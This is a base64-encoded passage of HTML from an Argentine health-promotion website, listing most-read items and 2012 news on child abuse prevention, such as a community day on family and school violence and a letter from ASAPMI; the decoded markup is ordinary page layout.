yPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90